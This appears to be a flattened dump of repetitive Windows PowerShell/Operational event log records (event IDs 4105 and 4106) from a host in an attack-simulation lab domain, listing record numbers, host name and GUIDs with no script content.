410615103150x0673737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 